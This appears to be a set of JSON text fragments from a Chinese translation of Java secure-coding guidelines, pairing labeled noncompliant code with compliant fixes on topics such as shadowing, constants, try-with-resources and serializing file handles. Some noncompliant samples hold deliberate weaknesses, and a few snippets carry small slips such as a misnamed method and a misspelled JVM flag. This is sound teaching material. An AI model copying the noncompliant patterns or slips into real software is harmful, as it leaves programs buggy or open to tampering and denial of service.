    {"text": "改进之后的垃圾收集算法（分代回收）很大程度地降低了垃圾收集的成本，以至于垃圾收集的开销开始和年轻代中存活的对象数量成正比，而非上次回收之后新产生的对象数量。"},
    {"text": "另外，使用对象池还会带来其他的成本和风险：对象池会带来同步问题，需要显式的对象释放的管理，甚至可能导致悬挂指针（dangling pointer）的问题。"},
    {"text": "避免使用大对象 大对象的内存分配是非常昂贵的，一方面是因为，初始化属性的成本与对象的大小是成正比的，另一方面，频繁地分配不同大小的大对象可能会导致内存碎片问题，或者说需要频繁地执行内存压缩和回收操作。"},
    {"text": "为了避免执行一次完全垃圾收集导致的长时间暂停，可以通过设置JVM参数-XX:ExplicitGCInvokedConcurrent来要求JVM并发地执行垃圾收集。"},
    {"text": "2009年3月通报的Apache Geronimo和Tomcat的漏洞GERONIMO-4574，形成的原因是，线程中设置了PolicyContextHandler的数据对象，但是没有释放，使得这些数据对象在内存中存在的时间比实际需要的长。"},
    {"text": "参考文献 [API 2013] Class System [Bloch 2008] Item 6, “Eliminate Obsolete Object References” [Coomes 2007] “Garbage Collection Concepts and Programming Tips” [Goetz 2004] Java Theory and Practice:Garbage Collection and Performance [Lo 2005] “Security Issues in Garbage Collection” [Long 2012] OBJ05-J. Defensively copy private mutable class members before returning their references OBJ06-J. Defensively copy mutable inputs and mutable internal components [Oracle 2010a] Java SE 6 HotSpot™ Virtual Machine Garbage Collection Tuning"},
    {"text": "第3章 可靠性 第3章 可靠性 ISO/IEC/IEEE 24765:2010（Systems and software engineering—Vocabulary）将可靠性定义为，一个系统或组件在一段时间内、在一定条件下，执行所需功能的能力[ISO/IEC/IEEE 24765:2010]。 ISO/IEC 9126-1:2001（Software engineering—Product quality—Part 1: Quality model）提供了一个类似的定义，即软件产品在一定的条件下被使用时，维持一个特定级别性能的能力[ISO/IEC 9126-1:2001]。"},
    {"text": "这个概率是一个函数，不仅是系统输入和系统使用的函数，也是软件中存在的故障的函数。 系统的输入会确定是否遇到已存在的故障，如果有的话。"},
    {"text": "通过遵循本章介绍的这些指南，程序员编写出的代码将不容易有bug和运行时异常。 本章的指南将 （1）可以帮助减少错误，因而对开发可靠的Java代码来说很重要；"},
    {"text": "虽然 Java语言规范[JLS 2013]从语法上解决了掩盖或遮蔽标识导致语义不明确的问题，但是这种源代码上的模糊性，还是会给维护和复审人员带来负担，尤其是当代码既需要访问复用的标识符，又需要访问被覆盖的标识符（子作用域中已不可访问）时。"},
    {"text": "这暗示变量能够掩盖（obscure）类型或者包，类型可以掩盖包名。 另一方面，遮蔽（shadowing），是指在包含作用域里，一个变量致使另一个变量不能够被访问。 一种类型也可以遮蔽另一种类型。"},
    {"text": "已经被子类继承的一个可访问成员（典型非私有的），被一个本地声明的子类成员所取代，假设名称相同，但却有不同的，且互不兼容的方法签名。"},
    {"text": "class MyVector { private int val = 1; private void doLogic() { int val; // ... } } 这样的行为可以被归类为遮蔽，在方法的作用域里方法变量致使类变量不可访问。"},
    {"text": "class MyVector { private int val = 1; private void doLogic() { int newValue; // ... } } 违规代码示例（变量遮蔽） 下面示例是违规的，因为第二个 for 循环语句块中定义的变量 i，遮蔽了MyVector类中定义的实例变量i。 class MyVector { private int i = 0; private void doLogic() { for (i = 0; i < 10; i++) {/* ... */} for (int i = 0; i < 20; i++) {/* ... */} } } 合规解决方案（变量遮蔽） 在下面的合规解决方案中，循环计数器i只定义在每一个for循环块的作用域里。 class MyVector { private void doLogic() { for (int i = 0; i < 10; i++) {/* ... */} for (int i = 0; i < 20; i++) {/* ... */} } } 适用性 名称的重用使代码很难阅读与维护，也导致代码存在安全漏洞。"},
    {"text": "参考文献 [Bloch 2005] Puzzle 67, “All Strung Out” [Bloch 2008] Item 16, “Prefer Interfaces to Abstract Classes” [Conventions 2009] §6.3, “Placement” [FindBugs 2008] DLS, “Dead store to local variable that shadows field” [JLS 2013] §6.4.1, “Shadowing” §6.4.2, “Obscuring” §7.5.2, “Type-Import-on-Demand Declarations” 指南38：不要在一个声明里声明多个变量 在一个声明语句中，声明多个变量会导致这些变量的类型和初始值混乱。"},
    {"text": "合规解决方案（初始化） 在下面的合规解决方案中，变量i和变量j都被初始化成了1，这一点很明显。 int i = 1; // Purpose of i... int j = 1; // Purpose of j... 合规解决方案（初始化） 在下面的合规解决方案中，变量i和变量j都被初始化成了1，这一点很明显。"},
    {"text": "public class Example<T> { private T a, b, c[], d; public Example(T in) { a = in; b = in; c = (T[]) new Object[10]; d = in; } } 当Object方法（如toString()）被覆盖时，程序员可能会因为未能考虑到c是类型T的一个数组而不是类型T对象的引用，而意外地提供类型T的实现。 public String toString() { return a.toString() + b.toString() + c.toString() + d.toString(); } 然而，程序员本来的意图是对数组c的每个元素都调用toString()。 // Correct functional implementation public String toString() { String s = a.toString() + b.toString(); for (int i = 0; i < c.length; i++){ s += c[i].toString(); } s += d.toString(); return s; } 合规解决方案（不同类型） 下面的合规解决方案把每一个声明单独放在了一行上，并且对数组声明使用了注释。 public class Example<T> { private T a; // Purpose of a... private T b; // Purpose of b... private T[] c; // Purpose of c[]... private T d; // Purpose of d... public Example(T in){ a = in; b = in; c = (T[]) new Object[10]; d = in; } } 适用性 在每一个行对多个变量进行声明，会降低代码的可读性，并导致程序员混乱。"},
    {"text": "public class Example { void function() { int mx = 100; // Some max value for (int i = 0; i < mx; ++i ) { /* ... */ } } } 这样的声明是不需要声明在不同行的，并且注释是可以省略的。"},
    {"text": "参考文献 [Conventions 2009] §6.1, “Number Per Line” [ESA 2005] Rule 9,Put Single Variable Definitions in Separate Lines [JLS 2013] §4.3.2, “The class Object” §6.1, “Declarations” §8.3, “Field Declarations” §9.3, “Field (Constant) Declarations” §14.4, “Local Variable Declaration Statements” 指南39：在程序逻辑中用有意义的符号常量代表文字值 Java支持不同类型文字的使用，如整数（5、2）、浮点数（2.5、6.022e+23）、字符（'a'、'\\n'）、布尔值（true、false），以及字符串（\"Hello\\n\"）。"},
    {"text": "double area(double radius) { return 3.14 * radius * radius; } double volume(double radius) { return 4.19 * radius * radius * radius; } double greatCircleCircumference(double radius) { return 6.28 * radius; } 这些方法用了看似任意的文字3.14、4.19和6.28来代表不同的缩放因子计算这些尺寸。"},
    {"text": "double area(double radius) { return 3.14 * radius * radius; } double volume(double radius) { return 4.0 / 3.0 * 3.14 * radius * radius * radius; } double greatCircleCircumference(double radius) { return 2 * 3.14 * radius; } 这段代码用文字3.14来代表π的值。"},
    {"text": "private static final double PI = 3.14; double area(double radius) { return PI * radius * radius; } double volume(double radius) { return 4.0/3.0 * PI * radius * radius * radius; } double greatCircleCircumference(double radius) { return 2 * PI * radius; } 这种技术减少了代码的杂乱，提高了可维护性。"},
    {"text": "double area(double radius) { return Math.PI * radius * radius; } double volume(double radius) { return 4.0/3.0 * Math.PI * radius * radius * radius; } double greatCircleCircumference(double radius) { return 2 * Math.PI * radius; } 违规代码示例 下面的违规代码示例定义了一个常量 BUFSIZE，但是之后在下面的表达式里又为BUFSIZE赋予了一个特定的值，这违背了将BUFSIZE定义为常量的目的。"},
    {"text": "private static final int BUFSIZE = 512; // ... public void shiftBlock() { int nblocks = 1 + ((nbytes - 1) >> 9); // BUFSIZE = 512 = 2^9 // ... } 程序员假设：BUFSIZE的值为512，右移9位与除以512是一样的（对于正数来说）。"},
    {"text": "private static final int BUFSIZE = 512; // ... public void shiftBlock(int nbytes) { int nblocks = 1 + (nbytes - 1) / BUFSIZE; // ... } 适用性 使用数值文字会使代码更加难以阅读、理解和编辑。"},
    {"text": "应该限制符号常量的使用，只在使用它们可以提高代码可读性和可维护性的情况下使用。 当文字的意图很明显，或者文字不是经常改变时，使用符号常量会影响代码的可读性。"},
    {"text": "private static final double FOUR = 4.0; private static final double THREE = 3.0; double volume(double radius) { return FOUR / THREE * Math.PI * radius * radius * radius; } 体积计算中的值4.0和3.0是明确使用缩放因子来计算球的体积并且不会改变（不像π的近似值），所以它们可以精确地表示。"},
    {"text": "参考文献 [Core Java 2003] [Long 2012] NUM01-J. Do not perform bitwise and arithmetic operations on the same data 指南40：在常量定义中恰当地表示相互之间的关系 只有在常量表达式所表达的值具有关联性时，才应将它们的定义关联起来。"},
    {"text": "public static final int IN_STR_LEN = 18; public static final int OUT_STR_LEN = 20; 合规解决方案 下面的合规解决方案在两个值的定义中体现出了两个值之间的关系： public static final int IN_STR_LEN = 18; public static final int OUT_STR_LEN = IN_STR_LEN + 2; 违规代码示例 在下面的违规代码示例中，两个不存在关系的常量之间，似乎存在潜在的关系。"},
    {"text": "public static final int VOTING_AGE = 18; public static final int ALCOHOL_AGE = VOTING_AGE + 3; 程序员进行日常维护时，可能会修改 VOTING_AGE 的定义，但是可能会忽略掉该修改会导致ALCOHOL_AGE的值改变。"},
    {"text": "public static final int VOTING_AGE = 18; public static final int ALCOHOL_AGE = 21; 参考文献 [JLS 2013] §4.12.4, “final Variables” 指南41：对于返回数组或者集合的方法，用返回一个空数组或者集合来替代返回一个空值 一些API故意返回一个空引用来暗示实例是不可用的。"},
    {"text": "对于那些使用数组或者集合返回一组数值的方法来说，返回空数组或者空集比返回空值更好，因为大多数调用者处理空集的能力都比处理空值的强。"},
    {"text": "class Inventory { private final Hashtable<String, Integer> items; public Inventory() { items = new Hashtable<String, Integer>(); } public List<String> getStock() { List<String> stock = new ArrayList<String>(); Enumeration itemKeys = items.keys(); while (itemKeys.hasMoreElements()) { Object value = itemKeys.nextElement(); if ((items.get(value)) == 0) { stock.add((String)value); } } if (items.size() == 0) { return null; } else { return stock; } } } public class Client { public static void main(String[] args) { Inventory inv = new Inventory(); List<String> items = inv.getStock(); System.out.println(items.size()); } } 假设客户端会做必要的检查，当这个列表的大小为0的时候，返回一个空值。"},
    {"text": "class Inventory { private final Hashtable<String, Integer> items; public Inventory() { items = new Hashtable<String, Integer>(); } public List<String> getStock() { List<String> stock = new ArrayList<String>(); Integer noOfItems; // Number of items left in the inventory Enumeration itemKeys = items.keys(); while (itemKeys.hasMoreElements()) { Object value = itemKeys.nextElement(); if ((noOfItems = items.get(value)) == 0) { stock.add((String)value); } } return stock; // Return list (possibly zero-length) } } public class Client { public static void main(String[] args) { Inventory inv = new Inventory(); List<String> items = inv.getStock(); System.out.println(items.size()); } } 客户端可以高效地处理这种情况，而不被运行时异常打断。"},
    {"text": "public List<String> getStock() { List<String> stock = new ArrayList<String>(); Integer noOfItems; // Number of items left in the inventory Enumeration itemKeys = items.keys(); while (itemKeys.hasMoreElements()) { Object value = itemKeys.nextElement(); if ((noOfItems = items.get(value)) == 0) { stock.add((String)value); } } if (l.isEmpty()) { return Collections.EMPTY_LIST; // Always zero-length } else { return stock; // Return list } } // Class Client ... 适用性 当客户端代码不能正确处理空返回值时，返回一个空值而不是一个零长度的数组或者集合，可能会导致拒绝服务漏洞。"},
    {"text": "public String processSingleString(String string) { // ... return string; } public String processStrings(String[] strings) { String result = \"\"; int i = 0; try { while (true) { result = result.concat(processSingleString(strings[i])); i++; } } catch (ArrayIndexOutOfBoundsException e) { // Ignore, we're done } return result; } 这段代码使用 ArrayIndexOutOfBoundsException 检测数组的结尾。"},
    {"text": "public String processStrings(String[] strings) { String result = \"\"; for (int i = 0; i < strings.length; i++) { result = result.concat(processSingleString(strings[i])); } return result; } 这段代码不需要捕获ArrayIndexOutOfBoundsException，因为它是一个运行时异常，并且这样的异常可以暗示程序员的错误，这是最好的修复缺陷的解决方法。"},
    {"text": "参考文献 [Bloch 2001] Item 39, “Use Exceptions Only for Exceptional Conditions” [JLS 2013] Chapter 11, “Exceptions” [Long 2012] ERR08-J. Do not catch NullPointerException or any of its ancestors 指南43：使用try-with-resources语句安全处理可关闭的资源 Java开发套件1.7（JDK 1.7）引入了try-with-resources语句（参见Java语言规范的§14.20.3 “try-with-resources”[JLS 2013]），该语句简化了正确使用下列资源的方式：那些实现了 java.lang. AutoCloseable 接口的资源，包括实现了java.io.Closeable接口的资源。 使用try-with-resources语句可以防止一些“使用普通try-catch-finally语句块关闭资源时出现的”问题，如由于关闭其他资源失败而导致抛出异常，未能关闭资源，再如一个资源关闭时掩盖了一个重要的异常。 try -with-resources语句的使用在《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]一书中也做了阐明，具体参见“ERR05-J. Do not let checked exceptions escape from a finally block”“FIO03-J. Remove temporary files before termination”和“FIO04-J. Close resources when they are no longer needed”。"},
    {"text": "public void processFile(String inPath, String outPath) throws IOException{ BufferedReader br = null; BufferedWriter bw = null; try { br = new BufferedReader(new FileReader(inPath)); bw = new BufferedWriter(new FileWriter(outPath)); // Process the input and produce the output } finally { try { if (br != null) { br.close(); } if (bw != null) { bw.close(); } } catch (IOException x) { // Handle error } } } 然而，如果在BufferedReader br关闭时抛出了异常，那么BufferedWriter bw就关闭不了了。"},
    {"text": "public void processFile(String inPath, String outPath) throws IOException { BufferedReader br = null; BufferedWriter bw = null; try { br = new BufferedReader(new FileReader(inPath)); bw = new BufferedWriter(new FileWriter(outPath)); // Process the input and produce the output } finally { if (br != null) { try { br.close(); } catch (IOException x) { // Handle error } finally { if (bw != null) { try { bw.close(); } catch (IOException x) { // Handle error } } } } } } 合规解决方案（try-with-resources） 下面的合规解决方案用一个try-with-resources语句来管理br和bw。 public void processFile(String inPath, String outPath) throws IOException{ try (BufferedReader br = new BufferedReader(new FileReader(inPath)); BufferedWriter bw = new BufferedWriter(new FileWriter(outPath));) { // Process the input and produce the output } catch (IOException ex) { // Print out all exceptions, including suppressed ones System.err.println(\"thrown exception: \" + ex.toString()); Throwable[] suppressed = ex.getSuppressed(); for (int i = 0; i < suppressed.length; i++) { System.err.println(\"suppressed exception: \" + suppressed[i].toString()); } } } 不管发生什么样的异常，这个解决方案都能在处理输入的过程中，抛出异常的同时，保证br和bw被正确地关闭。"},
    {"text": "在打开、处理或者关闭文件的过程中，如果只有一个异常被抛出，那么这个异常就会打印在“thrown exception:”的后面。 如果在处理过程中有一个异常被抛出，在试图关闭这两个文件中的任何一个时又有第二个异常被抛出，那么“thrown exception:”后面打印的就是第二个异常，第一个异常将会被打印在“suppressed exception:”的后面。"},
    {"text": "适用性 在处理可关闭资源时，未能正确地处理所有失败的情况，可能会导致一些资源没有被正确关闭或者重要的异常被掩盖，进而导致拒绝服务。"},
    {"text": "注意，未能使用try-with-resources语句不能被认为是一个安全漏洞，因为程序员可能会写一组正确的结构化的嵌套try-catch-finally语句块来保证那些在用的资源（参见“ERR05-J. Do not let checked exceptions escape from a finally block”[Long 2012]）。"},
    {"text": "使用 try-with-resources 语句时，可以通过保证资源能被正确地管理，异常从不会被掩盖，来减轻这样的问题。 参考文献 [JLS 2013] §14.20.3, “try-with-resources” [Long 2012] ERR05-J. Do not let checked exceptions escape from a finally block [Tutorials 2013] The try-with-resources Statement FIO03-J. Remove temporary files before termination FIO04-J. Close resources when they are no longer needed 指南44：不要使用断言来验证不存在的运行时错误 使用assert（断言）语句可将诊断测试纳入程序。"},
    {"text": "因此，断言应该被用于防止不正确的程序员假设，而不应用于检查运行时错误。 断言不应该被用于验证运行时不存在（与逻辑相对）的错误，例如： 无效的用户输入（包括命令行参数和环境变量）；"},
    {"text": "例如，防止I/O错误的代码不能够作为一个断言实现，因为它必须出现在可执行的部署环境下。 断言通常不适用于部署中的服务器程序或者嵌入式系统。"},
    {"text": "BufferedReader br; // Set up the BufferedReader br String line; // ... line = br.readLine(); assert line != null; 因为输入的有效性依赖于用户，并且在程序执行的过程中随时可能会被耗尽，所以必须有一个健壮的程序，能够优雅地处理无效的输入，并且能从无效的输入中恢复。"},
    {"text": "BufferedReader br; // Set up the BufferedReader br String line; // ... line = br.readLine(); if (line == null) { // Handle error } 适用性 断言是一种有价值的诊断工具，可以找出和排除导致软件漏洞的缺陷。"},
    {"text": "参考文献 [JLS 2013] §14.10, “The assert Statement” 指南45：在条件表达式中，第二个和第三个操作数应使用相同类型 条件运算符? :使用第一个操作数的布尔值来决定其他两个表达式哪个将会被选中（参见Java语言规范的§15.25“Conditional Operator ? :”[JLS 2013]）。 Java条件表达式的一般形式是“操作数1 ? 操作数2 : 操作数3”。"},
    {"text": "如果第一个操作数（操作数1）的值为true，那么第二个操作数表达式（操作数2）会被选中。 如果第一个操作数的值为false，那么第三个操作数表达式（操作数2）会被选中。"},
    {"text": "参见Java语言规范[JLS 2013]的§5.1.7（“装箱转换”）、§5.1.10（“捕获转换”）和§15.12.2.7（“根据实际参数推导参数类型”）获取更多的信息。"},
    {"text": "public class Expr { public static void main(String[] args) { char alpha = 'A'; int i = 0; // Other code. Value of i may change boolean trueExp = true; // Expression that evaluates to true System.out.print(trueExp ? alpha : 0); // Prints A System.out.print(trueExp ? alpha : i); // Prints 65 } } 第一个打印语句打印的是A，因为编译器应用了结果类型确定表中的规则8，确定出条件表达式的第二个和第三个操作数都是char类型，或者都能转换为char类型。"},
    {"text": "public class Expr { public static void main(String[] args) { char alpha = 'A'; int i = 0; boolean trueExp = true; // Expression that evaluates to true System.out.print(trueExp ? alpha : 0); // Prints A // Deliberate narrowing cast of i; possible truncation OK System.out.print(trueExp ? alpha : ((char) i)); // Prints A } } 当第二个条件表达式的i值超出代表一个字符的范围时，显式转换将截断它的值。"},
    {"text": "这个用法符合NUM12-EX0异常，参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“NUM12-J. Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data”。"},
    {"text": "public class ShortSet { public static void main(String[] args) { HashSet<Short> s = new HashSet<Short>(); for (short i = 0; i < 100; i++) { s.add(i); // Cast of i-1 is safe, // because value is always representable Short workingVal = (short) (i-1); // ... Other code may update workingVal s.remove(((i % 2) == 1) ? i-1 : workingVal); } System.out.println(s.size()); } } 在条件表达式的第二个参数（运算i-1）中，组合使用short型值和int型值，会得出 int型的结果，这是整数升级规则的规定。"},
    {"text": "合规解决方案 下面的合规解决方案将第二个操作数转换成了 short 类型，然后显式调用Short.valueof()方法创建了一个值为i-1的Short实例。 public class ShortSet { public static void main(String[] args) { HashSet<Short> s = new HashSet<Short>(); for (short i = 0; i < 100; i++) { s.add(i); // Cast of i-1 is safe, because the // resulting value is always representable Short workingVal = (short) (i-1); // ... other code may update workingVal // Cast of i-1 is safe, because the // resulting value is always representable s.remove(((i % 2) == 1) ? Short.valueOf((short) (i-1)) : workingVal); } System.out.println(s.size()); } } 类型转换的结果是，条件表达式的第二个和第三个操作数都有类型Short，并且remove()调用有着相同的期望结果。 上述的合规解决方案中，把条件表达式写成((i % 2) == 1) ? (short) (i-1)) : workingVal 是符合本指南的要求的，因为修改之后，条件表达式的第二个和第三个操作数都是short类型。"},
    {"text": "但是，这种解决方案会导致程序运行效率低，因为它会迫使程序在循环的每一次迭代中，对变量 workingVal 做一次拆箱操作，然后再对条件表达式的结果做一次装箱操作（从short到Short）。"},
    {"text": "参考文献 [Bloch 2005] Puzzle 8, “Dos Equis” [Findbugs 2008] “Bx:Primitive Value Is Unboxed and Coerced for Ternary Operator” [JLS 2013] §15.25, “Conditional Operator? :” [Long 2012] NUM12-J. Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data 指南46：不要序列化直接指向系统资源的句柄 序列化对象可以在Java程序以外被修改，除非它们受特殊机制（如封闭和签名）保护。"},
    {"text": "）如果一个指向系统资源的对象可以被序列化，并且攻击者可以替换掉该对象的序列化形式，那么该对象就具备修改特定句柄指向的系统资源的能力。 例如，攻击者可以修改一个可序列化的文件句柄指向系统上的任意文件。"},
    {"text": "违规代码示例 下面的违规代码示例在类Ser中声明了一个序列化的File（文件）对象。 final class Ser implements Serializable { File f; public Ser() throws FileNotFoundException { f = new File(\"c:\\\\filepath\\\\filename\"); } } 对象的序列化形式暴露了可修改的文件路径。"},
    {"text": "final class Ser { File f; public Ser() throws FileNotFoundException { f = new File(\"c:\\\\filepath\\\\filename\"); } } 合规解决方案（对象标记为暂存态） 下面的合规解决方案将File对象声明为transient（暂存态）。"},
    {"text": "final class Ser implements Serializable { transient File f; public Ser() throws FileNotFoundException { f = new File(\"c:\\\\filepath\\\\filename\"); } } 适用性 反序列化直接指向系统资源的句柄可能导致允许指向的系统资源被修改。"},
    {"text": "参考文献 [Long 2012] ENV01-J.Place all security-sensitive code in a single JAR and sign and seal it [Oracle 2013c] Java Platform Standard Edition 7 Documentation 指南47：更倾向于使用迭代器而不是列举 根据Java API接口Enumeration<E>的文档[API 2013]： 一个对象在实现Enumeration接口的同时，会产生一系列的元素。"},
    {"text": "举个例子，下面的代码用一个Enumeration显示一个Vector的内容： for (Enumeration e = vector.elements(); e.hasMoreElements();) { System.out.println(e.nextElement()); } Java API[API 2013]建议，“新的实现应该优先考虑使用Iterator，而不是Enumeration” 。"},
    {"text": "迭代器优于列举，因为它们使用了比较简单的方法名，而且不像列举，对于迭代器遍历集合时集合中有元素被移除的情况，迭代器有定义明确的语义。"},
    {"text": "违规代码示例 下面的违规代码示例实现了一个BankOperations类和一个removeAccounts()方法，用来终止一个特殊账户持有者的所有账户，这些账户是由姓名标识的。"},
    {"text": "class BankOperations { private static void removeAccounts(Vector v, String name) { Enumeration e = v.elements(); while (e.hasMoreElements()) { String s = (String) e.nextElement(); if (s.equals(name)) { v.remove(name); // Second Harry is not removed } } // Display current account holders System.out.println(\"The names are:\"); e = v.elements(); while (e.hasMoreElements()) { // Prints Dick, Harry, Tom System.out.println(e.nextElement()); } } public static void main(String args[]) { // List contains a sorted array of account holder names // Repeats are admissible List list = new ArrayList(Arrays.asList( new String[] {\"Dick\", \"Harry\", \"Harry\", \"Tom\"})); Vector v = new Vector(list); removeAccount(v, \"Harry\"); } } 在遇到第一个“Harry”时，它能成功地移除这个条目，vector的大小会缩减为3。"},
    {"text": "class BankOperations { private static void removeAccounts(Vector v, String name) { Iterator i = v.iterator(); while (i.hasNext()) { String s = (String) i.next(); if (s.equals(name)) { i.remove(); // Correctly removes all instances of the name Harry } } // Display current account holders System.out.println(\"The names are:\"); i = v.iterator(); while (i.hasNext()) { System.out.println(i.next()); // Prints Dick, Tom only } } public static void main(String args[]) { List list = new ArrayList(Arrays.asList( new String[] {\"Dick\", \"Harry\", \"Harry\", \"Tom\"})); Vector v = new Vector(list); remove(v, \"Harry\"); } } 适用性 当在一个迭代Collection中使用Enumeration执行移除操作，可能会引起意想不到的程序行为。"},
    {"text": "参考文献 [API 2013] Interface Enumeration<E> [Daconta 2003] Item 21, “Use Iteration over Enumeration” Interface Iterator<E> 指南48：对于短生存周期、不常用的对象不要使用直接缓冲区 java.nio中的新I/O（NewIO，NIO）类允许创建和使用直接缓冲区，这些缓冲区极大地增加了那些重复I/O活动的吞吐量。"},
    {"text": "然而，它们的创建和回收成本，比起基于堆的非直接缓冲区的创建和回收成本，要昂贵得多，因为直接缓冲区是使用操作系统特定的（OS-specific）本地代码管理的。"},
    {"text": "违规代码示例 下面的违规代码示例使用了一个短生存周期的本地对象rarelyUsedBuffer和一个长生存周期、使用频率高的对象 heavilyUsedBuffer。"},
    {"text": "ByteBuffer rarelyUsedBuffer = ByteBuffer.allocateDirect(8192); // rarelyUsedBuffer once ByteBuffer heavilyUsedBuffer = ByteBuffer.allocateDirect(8192); // Use heavilyUsedBuffer many times 合规解决方案 下面的合规解决方案使用一个非直接缓冲区分配短生存周期、不常用的对象。"},
    {"text": "ByteBuffer rarelyUsedBuffer = ByteBuffer.allocate(8192); // Use rarelyUsedBuffer once ByteBuffer heavilyUsedBuffer = ByteBuffer.allocateDirect(8192); // Use heavilyUsedBuffer many times 适用性 直接缓冲区不在Java垃圾收集器的回收范围之内，并且如果不慎重使用的话，会导致内存泄露。"},
    {"text": "参考文献 [API 2013] Class ByteBuffer 指南49：从长生存周期容器对象中移除短生存周期对象 每次任务结束时，都要从长生存周期容器对象中移除短生存周期对象。"},
    {"text": "同样，使用类似于ArrayList这样的基于数组的数据结构时，可以引入一条要求：当ArrayList中的某个元素不再存在时，需要显式地把其在ArrayList中对应的数组元素设置为null。"},
    {"text": "违规代码示例（移除短生存周期对象） 在下面的违规代码示例中，一个长生存周期ArrayList既包含长生存周期元素的引用，也包含短生存周期元素的引用。"},
    {"text": "class DataElement { private boolean dead = false; // Other fields public boolean isDead() { return dead; } public void killMe() { dead = true; } } // ... Elsewhere List<DataElement> longLivedList = new ArrayList<DataElement>(); // Processing that renders an element irrelevant // Kill the element that is now irrelevant longLivedList.get(someIndex).killMe(); 在带有“死亡”标志的DataElement对象变为未引用的之前，垃圾收集器不能回收它。"},
    {"text": "class DataElement { // Dead flag removed // Other fields } // Elsewhere List<DataElement> longLivedList = new ArrayList<DataElement>(); // Processing that renders an element irrelevant // Set the reference to the irrelevant DataElement to null longLivedList. set(someIndex, null); 注意，所有在 longLivedList 上进行操作的代码，现在都必须检查那些值为null的列表条目。"},
    {"text": "class DataElement { public static final DataElement NULL = createSentinel(); // Dead flag removed // Other fields private static final DataElement createSentinel() { // Allocate a sentinel object, setting all its fields // to carefully chosen \"do nothing\" values } } // Elsewhere List<DataElement> longLivedList = new ArrayList<DataElement>(); // Processing that renders an element irrelevant // Set the reference to the irrelevant DataElement to // the NULL object longLivedList.set(someIndex, DataElement.NULL); 在可行的时候，程序员应该选择这样的设计模式用于明确的空引用的值，正如指南41中所述。"},
    {"text": "有关这种设计模式的其他信息参见《Patterns in Java, Volume 1, Second Edition》[Grand 2002]一书的第8章，以及《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“ERR08-J. Do not catch NullPointerException or any of its ancestors”。"},
    {"text": "适用性 在长生存周期容器对象中遗留短生存周期对象，可能会消耗内存，并且这些内存不能被垃圾收集器恢复，最终会导致内存耗尽，有可能发生拒绝服务攻击。"},
    {"text": "第4章 程序的可理解性 第4章 程序的可理解性 程序的可理解性指的是程序被理解的难易程度，也就是，读者通过程序源代码及相关文档，了解程序的作用以及程序的内部工作原理的难易程度[Grubb 2003]。"},
    {"text": "可理解的代码更容易维护，因为代码越清晰，越易被理解，后续的软件维护人员引入缺陷的可能性就越低。 另外，可理解的代码可以让代码复审人员更容易发现代码中的缺陷和漏洞，从而帮助团队更好地进行代码复审。"},
    {"text": "指南50：谨慎使用视觉上有误导性的标识符和文字 在代码中应尽量使用那些在视觉上很容易区分开的标识符，这样可以避免在开发和复查时误读代码。"},
    {"text": "例如，希腊（Greek）字符和埃及（Coptic）字符（Unicode范围0370-03FF）经常很难跟数学文字符号的希腊字符子集（Unicode范围1D400-1D7FF）区分开来。"},
    {"text": "还有，不要让多个标识符之间的区别仅仅只有一个或几个字形上相似的字符，对于那些名字较长的标识符，让其开头的部分有所区别，有助于阅读识别。"},
    {"text": "根据Java语言规范的§3.10.1“Integer Literals”[JLS 2013]： 一个整数文字后面如果跟了一个ASCII字母L或l（小写L），那么这个整数就是long型的，否则就是int型的。"},
    {"text": "根据Java语言规范的§3.10.1“Integer Literals”[JLS 2013]： 八进制数的开头是一个ASCII数字0，之后是一个或多个ASCII数字0～7，其间可以间插些下划线；"},
    {"text": "int stem; // Position near the front of the boat /* ... */ int stern; // Position near the back of the boat 合规解决方案 下面的合规解决方案修改了变量的名字，使其相互之间易于区分，从而避免弄混。"},
    {"text": "int bow; // Position near the front of the boat /* ... */ int stern; // Position near the back of the boat 违规代码示例 下面的违规代码示例打印了一个int型的整数值和一个long型的整数值相加的结果，但是，其有可能被写成两个int型整数（11111）的相加。"},
    {"text": "public class Visual { public static void main(String[] args) { System.out.println(11111 + 1111l); } } 合规解决方案 下面的合规解决方案使用了大写的L而非小写的l来作long型整数值的后缀，这消除了第二个整数值字形上的歧义性。"},
    {"text": "public class Visual { public static void main(String[] args) { System.out.println(11111 + 1111L); } } 违规代码示例 下面的违规代码示例把一些十进制数值和八进制数值都存储在了一个数组中。"},
    {"text": "int[] array = new int[3]; void exampleFunction() { array[0] = 2719; array[1] = 4435; array[2] = 0042; // ... } 上面的代码看起来像是想要在数组中存储一个十进制数42，但是其存储的数值实际却是34（对应到八进制数为0042）。"},
    {"text": "int[] array = new int[3]; void exampleFunction() { array[0] = 2719; array[1] = 4435; array[2] = 42; // ... } 适用性 未能使用从字形上很容易区分得开的标识符，会导致标识符误用，从而导致错误的程序行为。"},
    {"text": "检测整数文字是否由零开头非常琐碎，再加上，判断程序员到底是想要使用八进制文字还是十进制文字几乎是不可能的，相应地，对这类情形进行自动化检测也是不可行的。"},
    {"text": "参考文献 [Bloch 2005] Puzzle 4, “It’s Elementary” [JLS 2013] §3.10.1, “Integer Literals” [Seacord 2009] DCL02-C.Use visually distinct identifiers [Unicode 2013] 指南51：避免歧义重载变参方法 Java的 可变变参 （variable arity）特性是自JDK 1.5.0引入的，这个特性支持方法可接受可变个数的参数。 根据Java SE 6的文档[Oracle 2011b]： API设计者应该谨慎使用“可变参数方法”，并且只在真正需要的时候使用。 一般来说，不应该重载可变参数方法，因为这会让代码非常难以理解，程序员很难去查找具体调用的是哪一个方法。"},
    {"text": "class Varargs { private static void displayBooleans(boolean... bool) { System.out.print(\"Number of arguments: \" + bool.length + \", Contents: \"); for (boolean b : bool) { System.out.print(\"[\" + b + \" ]\"); } } private static void displayBooleans(boolean bool1, boolean bool2) { System.out.println(\"Overloaded method invoked\"); } public static void main(String[] args) { displayBooleans(true, false); } } 程序运行输出： Overloaded method invoked 对于一次方法调用，固定参数（nonvariable arity）的方法定义更具体，因此JVM会优先选择匹配的固定参数方法。"},
    {"text": "合规解决方案 下面的合规解决方案没有重载可变参数方法，而是直接使用了不同的、更表义的方法名，这样在调用方法的时候就能够清楚地知道具体调用的是哪个方法。"},
